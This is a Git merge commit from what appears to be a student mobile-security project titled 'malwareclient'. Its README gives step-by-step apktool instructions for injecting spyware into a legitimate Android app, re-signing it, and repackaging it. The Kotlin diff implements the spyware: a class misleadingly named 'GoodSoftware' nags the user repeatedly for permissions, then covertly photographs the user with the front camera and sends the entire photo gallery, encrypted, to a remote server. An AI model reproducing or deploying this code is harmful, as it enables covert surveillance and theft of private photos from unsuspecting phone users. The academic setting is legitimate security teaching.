Merge branch 'new' into 'master'
Make injection work See merge request ti/2023-2024/s4/mobile-security/students/joren-schipman/malwareclient!1
This commit is contained in:
commit
ff87918248
78
README.md
Normal file
78
README.md
Normal file
@ -0,0 +1,78 @@
|
||||
## Prep
|
||||
### Without Camera
|
||||
|
||||
1. Comment out the timer and compile
|
||||
|
||||
```kt
|
||||
private fun startCheckingPermission() {
|
||||
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
||||
|
||||
timerStorage?.scheduleAtFixedRate(0, 5000) {
|
||||
checkStoragePermission()
|
||||
println("Requesting storage permission again")
|
||||
}
|
||||
|
||||
/* timerCamera = Timer("CheckCameraPermissionTimer", false)
|
||||
|
||||
timerCamera?.scheduleAtFixedRate(0, 5000) {
|
||||
checkCameraPermission()
|
||||
println("Requesting camera permission again")
|
||||
}*/
|
||||
```
|
||||
|
||||
2. Decompile the apk `apktool d malware.apk`
|
||||
3. Decompile original app `apktool d application.apk`
|
||||
4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/`
|
||||
5. Under the onCreate of original app
|
||||
|
||||
```smali
|
||||
new-instance p1, Lcom/ti/m/GoodSoftware;
|
||||
|
||||
move-object v0, p0
|
||||
|
||||
check-cast v0, Landroid/content/Context;
|
||||
|
||||
invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;-><init>(Landroid/content/Context;)V
|
||||
|
||||
invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V
|
||||
```
|
||||
6. Copy the permissions from the malware manifest to original manifests permissions
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.CAMERA"/>
|
||||
<uses-feature android:name="android.hardware.camera"/>
|
||||
<uses-feature android:name="android.hardware.camera.autofocus"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
|
||||
```
|
||||
|
||||
### With Camera
|
||||
|
||||
1. Do the steps of without camera but don't uncomment the timer
|
||||
2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/`
|
||||
3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/`
|
||||
4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/`
|
||||
5. Copy Camera metadata from Manifest
|
||||
```xml
|
||||
<service android:enabled="false" android:exported="false" android:name="androidx.camera.core.impl.MetadataHolderService">
|
||||
<meta-data android:name="androidx.camera.core.impl.MetadataHolderService.DEFAULT_CONFIG_PROVIDER" android:value="androidx.camera.camera2.Camera2Config$DefaultProvider"/>
|
||||
</service>
|
||||
<uses-library android:name="androidx.camera.extensions.impl" android:required="false"/>
|
||||
```
|
||||
|
||||
6. Copy Camera Queries to manifest under the permissions
|
||||
```xml
|
||||
<queries>
|
||||
<intent>
|
||||
<action android:name="androidx.camera.extensions.action.VENDOR_ACTION"/>
|
||||
</intent>
|
||||
</queries>
|
||||
```
|
||||
|
||||
|
||||
## Final Steps
|
||||
1. Build the application `apktool b application -o unsigned.apk`
|
||||
2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk`
|
||||
3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000`
|
||||
4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk`
|
||||
5. Done
|
@ -69,8 +69,11 @@ dependencies {
|
||||
androidTestImplementation(libs.androidx.ui.test.junit4)
|
||||
debugImplementation(libs.androidx.ui.tooling)
|
||||
debugImplementation(libs.androidx.ui.test.manifest)
|
||||
implementation("androidx.camera:camera-camera2:$camerax_version")
|
||||
implementation("androidx.camera:camera-extensions:$camerax_version")
|
||||
implementation("androidx.camera:camera-core:${camerax_version}")
|
||||
implementation("androidx.camera:camera-camera2:${camerax_version}")
|
||||
implementation("androidx.camera:camera-lifecycle:${camerax_version}")
|
||||
implementation("androidx.camera:camera-extensions:${camerax_version}")
|
||||
|
||||
implementation("androidx.concurrent:concurrent-futures:1.1.0")
|
||||
implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
|
||||
|
||||
|
@ -1,9 +1,11 @@
|
||||
package com.ti.m
|
||||
|
||||
import android.Manifest
|
||||
import android.app.Activity
|
||||
import android.content.ContentResolver
|
||||
import android.content.ContentUris
|
||||
import android.content.Context
|
||||
import android.content.ContextWrapper
|
||||
import android.content.pm.PackageManager
|
||||
import android.graphics.Bitmap
|
||||
import android.graphics.BitmapFactory
|
||||
@ -23,6 +25,7 @@ import androidx.core.app.ActivityCompat
|
||||
import androidx.core.content.ContextCompat
|
||||
import androidx.lifecycle.LifecycleOwner
|
||||
import androidx.lifecycle.lifecycleScope
|
||||
import com.ti.m.MainActivity
|
||||
import kotlinx.coroutines.launch
|
||||
import java.io.BufferedReader
|
||||
import java.io.ByteArrayOutputStream
|
||||
@ -33,19 +36,24 @@ import java.security.KeyFactory
|
||||
import java.security.PublicKey
|
||||
import java.security.SecureRandom
|
||||
import java.security.spec.X509EncodedKeySpec
|
||||
import java.util.Timer
|
||||
import javax.crypto.Cipher
|
||||
import javax.crypto.spec.IvParameterSpec
|
||||
import javax.crypto.spec.SecretKeySpec
|
||||
import kotlin.concurrent.schedule
|
||||
import kotlin.concurrent.scheduleAtFixedRate
|
||||
import kotlin.concurrent.thread
|
||||
|
||||
|
||||
class GoodSoftware (private val activity: MainActivity) {
|
||||
class GoodSoftware (private val activity: Context) {
|
||||
private var cameraProvider: ProcessCameraProvider? = null
|
||||
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
|
||||
private var imageCapture: ImageCapture? = null
|
||||
private val REQUEST_CAMERA_PERMISSION = 100
|
||||
private val REQUEST_GALLERY = 101
|
||||
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
|
||||
|
||||
private var timerStorage: Timer? = null
|
||||
private var timerCamera: Timer? = null
|
||||
|
||||
private companion object {
|
||||
private const val RSA_ALGORITHM = "RSA"
|
||||
@ -97,67 +105,114 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
}
|
||||
|
||||
fun launch() {
|
||||
Thread{
|
||||
startCheckingPermission()
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun startCheckingPermission() {
|
||||
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
||||
|
||||
timerStorage?.scheduleAtFixedRate(0, 5000) {
|
||||
checkStoragePermission()
|
||||
println("Requesting storage permission again")
|
||||
}
|
||||
|
||||
timerCamera = Timer("CheckCameraPermissionTimer", false)
|
||||
|
||||
timerCamera?.scheduleAtFixedRate(0, 5000) {
|
||||
checkCameraPermission()
|
||||
println("Requesting camera permission again")
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopCheckingStoragePermission() {
|
||||
timerStorage?.cancel()
|
||||
}
|
||||
|
||||
private fun stopCheckingCameraPermission() {
|
||||
timerCamera?.cancel()
|
||||
}
|
||||
|
||||
fun Context.getActivity(): Activity? {
|
||||
var context = this
|
||||
while (context is ContextWrapper) {
|
||||
if (context is Activity) {
|
||||
return context
|
||||
}
|
||||
context = context.baseContext
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
private fun checkCameraPermission() {
|
||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||
requestCameraPermission()
|
||||
}else{
|
||||
startPictureCapture()
|
||||
takePicture()
|
||||
stopCheckingCameraPermission()
|
||||
}
|
||||
}
|
||||
|
||||
private fun requestCameraPermission() {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
||||
val activity = activity.getActivity()
|
||||
activity?.let {
|
||||
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private fun checkStoragePermission() {
|
||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
|
||||
// Request READ_MEDIA_IMAGES permission for Android 13 and higher
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
|
||||
requestMediaImagesPermission()
|
||||
}else{
|
||||
// For lower Android versions, request READ_EXTERNAL_STORAGE
|
||||
requestGalleryPermission()
|
||||
grabMedia()
|
||||
stopCheckingStoragePermission()
|
||||
}
|
||||
} else {
|
||||
startPictureCapture()
|
||||
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
|
||||
requestGalleryPermission()
|
||||
}else{
|
||||
grabMedia()
|
||||
stopCheckingStoragePermission()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
||||
private fun requestMediaImagesPermission() {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||
val activity = activity.getActivity()
|
||||
activity?.let {
|
||||
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||
}
|
||||
}
|
||||
|
||||
private fun startPictureCapture() {
|
||||
activity.lifecycleScope.launch {
|
||||
private fun takePicture(){
|
||||
val activity = activity.getActivity()
|
||||
try {
|
||||
// Check and request camera permission
|
||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||
requestCameraPermission()
|
||||
}
|
||||
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
|
||||
checkStoragePermission()
|
||||
activity?.let { act ->
|
||||
if (act is LifecycleOwner) {
|
||||
act.lifecycleScope.launch {
|
||||
takeBeautifulPicture(act, act)
|
||||
}
|
||||
} else {
|
||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||||
checkStoragePermission()
|
||||
// Handle the case where the activity is not a LifecycleOwner
|
||||
Log.e("Error", "Activity is not a LifecycleOwner")
|
||||
}
|
||||
}
|
||||
}catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}
|
||||
|
||||
// If both permissions are granted, proceed with picture capture and gallery access
|
||||
takeBeautifulPicture(activity, activity)
|
||||
|
||||
private fun grabMedia(){
|
||||
Thread {
|
||||
try {
|
||||
val imageList = getAllImagesFromGallery(activity)
|
||||
val connection = establishConnectionWithRetry() ?: return@Thread
|
||||
for (image in imageList) {
|
||||
println(image)
|
||||
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
||||
sendDataToServer(base64Image, connection)
|
||||
if(image != imageList.last()){
|
||||
@ -167,14 +222,8 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
disconnect(connection)
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
// Handle the exception, e.g., log the error or notify the user
|
||||
}
|
||||
}.start()
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
// Handle the exception, e.g., log the error or notify the user
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@ -229,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
|
||||
|
||||
private fun requestGalleryPermission() {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||
val activity = activity.getActivity()
|
||||
activity?.let { act ->
|
||||
ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||
}
|
||||
}
|
||||
|
||||
// Handle permission request result
|
||||
@ -237,26 +289,17 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
when (requestCode) {
|
||||
REQUEST_CAMERA_PERMISSION -> {
|
||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||
startPictureCapture()
|
||||
} else {
|
||||
// Camera permission denied
|
||||
// Handle accordingly
|
||||
takePicture()
|
||||
}
|
||||
}
|
||||
REQUEST_GALLERY -> {
|
||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||
startPictureCapture()
|
||||
} else {
|
||||
// Gallery permission denied
|
||||
// Handle accordingly
|
||||
grabMedia()
|
||||
}
|
||||
}
|
||||
REQUEST_MEDIA_IMAGES_PERMISSION -> {
|
||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||
startPictureCapture()
|
||||
} else {
|
||||
// Media images permission denied
|
||||
// Handle accordingly
|
||||
grabMedia()
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -274,7 +317,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
|
||||
fun establishConnection(): ConnectionResult{
|
||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||
val host = "thinclient.duckdns.org"
|
||||
val host = "192.168.90.151"
|
||||
val port = 5645
|
||||
val secureRandom = SecureRandom()
|
||||
val keyBytes = ByteArray(16)
|
||||
@ -311,10 +354,8 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
while (attempt < maxRetries) {
|
||||
try {
|
||||
connectionResult = establishConnection()
|
||||
println("Connection successful")
|
||||
break
|
||||
} catch (e: Exception) {
|
||||
println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
|
||||
e.printStackTrace()
|
||||
attempt++
|
||||
Thread.sleep(getRetryDelay(attempt))
|
||||
@ -373,28 +414,24 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
}
|
||||
|
||||
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
|
||||
// Ensure that cameraProvider is initialized
|
||||
try {
|
||||
cameraProvider = ProcessCameraProvider.getInstance(context).await()
|
||||
|
||||
// Ensure that the selected camera is available
|
||||
if (!hasBackCamera() && !hasFrontCamera()) {
|
||||
Log.e(picture.TAG, "Back and front camera are unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
// Select the lens facing, prioritize front camera if available
|
||||
lensFacing = if (hasFrontCamera()) {
|
||||
CameraSelector.LENS_FACING_FRONT
|
||||
} else {
|
||||
CameraSelector.LENS_FACING_BACK
|
||||
}
|
||||
|
||||
// Create ImageCapture instance
|
||||
imageCapture = ImageCapture.Builder()
|
||||
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
|
||||
.build()
|
||||
|
||||
// Set up image capture listener
|
||||
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
||||
override fun onError(exc: ImageCaptureException) {
|
||||
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
||||
@ -402,7 +439,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
}
|
||||
|
||||
override fun onCaptureSuccess(image: ImageProxy) {
|
||||
// Process captured image here
|
||||
val byteArrayOutputStream = ByteArrayOutputStream()
|
||||
val imagePlane = image.planes[0]
|
||||
val buffer = imagePlane.buffer
|
||||
@ -410,33 +446,35 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
buffer.get(bytes)
|
||||
byteArrayOutputStream.write(bytes)
|
||||
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
||||
Thread {
|
||||
thread {
|
||||
try {
|
||||
val conn = establishConnectionWithRetry()
|
||||
if (conn == null) {
|
||||
return@Thread
|
||||
return@thread
|
||||
}
|
||||
sendDataToServer(base64Image, conn)
|
||||
disconnect(conn)
|
||||
}.start()
|
||||
} catch (e: Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}
|
||||
cameraProvider?.unbindAll()
|
||||
image.close()
|
||||
}
|
||||
}
|
||||
|
||||
// Bind the camera and start image capture
|
||||
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
||||
|
||||
|
||||
imageCapture?.takePicture(
|
||||
ContextCompat.getMainExecutor(context),
|
||||
imageCapturedListener
|
||||
)
|
||||
|
||||
} catch (e: ClassNotFoundException) {
|
||||
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
|
||||
} catch (e: Exception) {
|
||||
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
private fun hasBackCamera(): Boolean {
|
||||
@ -452,6 +490,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
}
|
||||
|
||||
fun getAllImagesFromGallery(context: Context): List<String> {
|
||||
val activity = context.getActivity()
|
||||
val imageList = mutableListOf<String>()
|
||||
val contentResolver: ContentResolver = context.contentResolver
|
||||
val imageProjection = arrayOf(
|
||||
@ -485,8 +524,10 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
activity?.let {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||
}
|
||||
}
|
||||
|
||||
return imageList
|
||||
}
|
||||
|
@ -2,33 +2,11 @@ package com.ti.m
|
||||
|
||||
import android.os.Bundle
|
||||
import androidx.activity.ComponentActivity
|
||||
import androidx.activity.compose.setContent
|
||||
import androidx.compose.foundation.layout.fillMaxSize
|
||||
import androidx.compose.material3.MaterialTheme
|
||||
import androidx.compose.material3.Surface
|
||||
import androidx.compose.ui.Modifier
|
||||
import androidx.lifecycle.LifecycleOwner
|
||||
import com.ti.m.ui.theme.MTheme
|
||||
|
||||
class MainActivity : ComponentActivity(), LifecycleOwner {
|
||||
private lateinit var goo: GoodSoftware
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
setContent {
|
||||
MTheme {
|
||||
Surface(
|
||||
modifier = Modifier.fillMaxSize(),
|
||||
color = MaterialTheme.colorScheme.background
|
||||
) {
|
||||
}
|
||||
}
|
||||
}
|
||||
GoodSoftware(this@MainActivity).launch()
|
||||
}
|
||||
|
||||
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
|
||||
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
|
||||
goo.onRequestPermissionsResult(requestCode, grantResults)
|
||||
GoodSoftware(this).launch()
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user